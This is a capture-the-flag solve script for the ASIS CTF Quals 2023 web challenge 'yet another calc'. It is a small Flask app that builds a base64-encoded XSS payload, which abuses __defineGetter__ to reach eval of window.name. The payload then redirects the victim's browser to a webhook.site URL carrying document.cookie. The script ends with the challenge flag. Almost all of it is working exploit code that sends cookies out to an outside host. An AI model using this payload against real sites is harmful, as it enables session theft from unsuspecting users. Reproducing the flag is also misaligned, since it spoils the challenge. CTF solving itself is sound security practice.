ASIS CTF Quals 2023 - yet another calc (web)

solve.py

from flask import Flask
from base64 import b64encode

CHALL_URL = "http://45.147.229.138:8000/?e="
CHALL_URL = "http://web/?e="

app = Flask(__name__)


@app.route("/")
def solve():
    payload = """
e=window.eval;
Math.__defineGetter__(Math.x,e);
a=Math.abs;
a=a.name;
Math.__defineGetter__(a,Math.__lookupGetter__);
n=window.name;
Math.abs(n);
    """.strip()

    payload = b64encode(payload.encode()).decode()

    xss_url = CHALL_URL + payload
    print(xss_url)

    return f"""
<script>
    name = "location=`https://webhook.site/4f37728c-5479-4e68-800b-1bebc7faecec/?f=`+encodeURIComponent(document.cookie)";
    location = "{xss_url}";
</script>
"""


if __name__ == "__main__":
    app.run(host="localhost", port=1337)

# FLAG=ASIS{constructor_constructor_constructor_...ftw_fads2ds23}